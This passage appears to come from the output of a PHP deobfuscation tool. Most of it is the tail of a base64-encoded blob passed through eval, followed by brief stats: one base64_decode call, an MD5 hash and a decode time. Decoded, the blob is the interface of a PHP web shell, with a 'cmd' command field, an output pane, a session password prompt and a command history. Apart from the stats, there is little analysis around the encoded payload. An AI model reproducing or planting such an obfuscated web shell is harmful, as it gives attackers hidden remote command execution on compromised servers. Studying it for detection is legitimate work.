bnQuc2VsZWN0aW9uKSANCiAgICAgICAgd2luZG93LmNsaXBib2FyZERhdGEuc2V0RGF0
YSgiVGV4dCIsIGRvY3VtZW50LnNlbGVjdGlvbi5jcmVhdGVSYW5nZSgpLnRleHQpOyAN
Cn0gDQogDQppZiAod2luZG93LmNsaXBib2FyZERhdGEpIA0KICAgIGRvY3VtZW50Lm9u
Y29udGV4dG1lbnUgPSBuZXcgRnVuY3Rpb24oImRvY3VtZW50LmdldEVsZW1lbnRCeUlk
KCdpbnB1dCcpLnZhbHVlID0gd2luZG93LmNsaXBib2FyZERhdGEuZ2V0RGF0YSgnVGV4
dCcpOyBpbnB1dF9mb2N1cygpOyByZXR1cm4gZmFsc2UiKTsgDQogDQogIC0tPjwvU0NS
SVBUPiANCjwvSEVBRD4gDQo8Qk9EWSBvbkxvYWQ9ImRvY3VtZW50LmdldEVsZW1lbnRC
eUlkKCdvdXRwdXQnKS5zY3JvbGxUb3AgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgn
b3V0cHV0Jykuc2Nyb2xsSGVpZ2h0OyBpbnB1dF9mb2N1cygpIiBUT1BNQVJHSU49IjAi
IExFRlRNQVJHSU49IjAiPiANCjxUQUJMRSBDRUxMUEFERElORz0iMCIgQ0VMTFNQQUNJ
Tkc9IjAiIEJPUkRFUj0iMCIgSEVJR0hUPSIxMDAlIiBXSURUSD0iMTAwJSI+IA0KPFRS
PiANCiAgPFREIEhFSUdIVD0iMTAwJSIgQkdDT0xPUj0iIzAwMDAwMCIgU1RZTEU9InBh
ZGRpbmctdG9wOiA1cHg7IHBhZGRpbmctbGVmdDogNXB4OyBwYWRkaW5nLXJpZ2h0OiA1
cHg7IHBhZGRpbmctYm90dG9tOiAwcHgiPjxURVhUQVJFQSBJRD0ib3V0cHV0IiBvblNl
bGVjdD0ic2VsZWN0aW9uX3RvX2NsaXBib2FyZCgpIiBvbkNsaWNrPSJpbnB1dF9mb2N1
cygpIiBSRUFET05MWT48Pz0gJG91dCA/PjwvVEVYVEFSRUE+PC9URD4gDQo8L1RSPiAN
CiANCjxUUj4gDQogIDxURCBCR0NPTE9SPSIjMDAwMDAwIj48VEFCTEUgQ0VMTFBBRERJ
Tkc9IjAiIENFTExTUEFDSU5HPSI1IiBCT1JERVI9IjAiIFdJRFRIPSIxMDAlIj4gDQog
ICAgPFRSPiANCiAgICA8Rk9STSBNRVRIT0Q9IlBPU1QiIEFDVElPTj0iIj4gDQogICAg
ICA8VEQgTk9XUkFQIG9uQ2xpY2s9ImlucHV0X2ZvY3VzKCkiPjw/PSBzdWJzdHIoJHBy
b21wdCwgMCwgLTEpID8+PC9URD4gDQogICAgICA8VEQgV0lEVEg9IjEwMCUiPjxJTlBV
VCBJRD0iaW5wdXQiIFRZUEU9Ijw/PSAoISRfU0VTU0lPTlsndXNlciddICYmICRfU0VT
U0lPTlsnbG9naW4nXSkgPyAnUEFTU1dPUkQnIDogJ1RFWFQnID8+IiBOQU1FPSJjbWQi
PjwvVEQ+IA0KICAgIDwvRk9STT48P3BocCANCiANCmlmICgkaGlzdF9hcnIpIHsgDQog
DQogICAgPz48VEQgTk9XUkFQPjxTRUxFQ1Qgb25DaGFuZ2U9InBhcnNlX2hpc3QodGhp
cy5vcHRpb25zW3RoaXMuc2VsZWN0ZWRJbmRleF0udmFsdWUpIj4gDQogICAgICAgIDxP
UFRJT04gVkFMVUU9IiI+LS0tIEhJU1RPUlk8L09QVElPTj48P3BocCANCiANCiAgICBm
b3IgKCRpID0gY291bnQoJGhpc3RfYXJyKSAtIDE7ICRpID49IDA7ICRpLS0pIHsgDQog
DQogICAgICAgIGlmIChzdHJsZW4oJGhpc3RfYXJyWyRpXSkgPiAkaGlzdG9yeV9jaGFy
cykgJG9wdGlvbiA9IHN1YnN0cigkaGlzdF9hcnJbJGldLCAwLCAkaGlzdG9yeV9jaGFy
cyAtIDMpIC4gIi4uLiI7IA0KICAgICAgICBlbHNlICRvcHRpb24gPSAkaGlzdF9hcnJb
JGldOyANCiANCiAgICAgICAgZWNobyAiPE9QVElPTiBWQUxVRT1cIiIgLiAkaSAuICJc
Ij4kb3B0aW9uPC9PUFRJT04+IjsgDQogICAgfSANCiANCiAgICAgID8+PE9QVElPTiBW
QUxVRT0iPD89ICRoaXN0b3J5X2xpbmVzICsgMSA/PiI+LS0tIENMRUFSIEhJU1RPUlk8
L09QVElPTj48L1NFTEVDVD48L1REPjw/cGhwIA0KIA0KfSANCiANCiAgPz48L1RSPiAN
CiANCiAgPC9UQUJMRT48L1REPiANCjwvVFI+IA0KPC9UQUJMRT4gDQogDQo8U0NSSVBU
IExBTkdVQUdFPSJKYXZhU2NyaXB0Ij48IS0tIA0KZG9jdW1lbnQuZ2V0RWxlbWVudEJ5
SWQoJ291dHB1dCcpLnNjcm9sbFRvcCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdv
dXRwdXQnKS5zY3JvbGxIZWlnaHQ7IA0KLS0+PC9TQ1JJUFQ+')); ?>
Function Calls
base64_decode | 1 |
Stats
MD5 | b7d1e48c97e442b01ced144b5492d934 |
Eval Count | 1 |
Decode Time | 97 ms |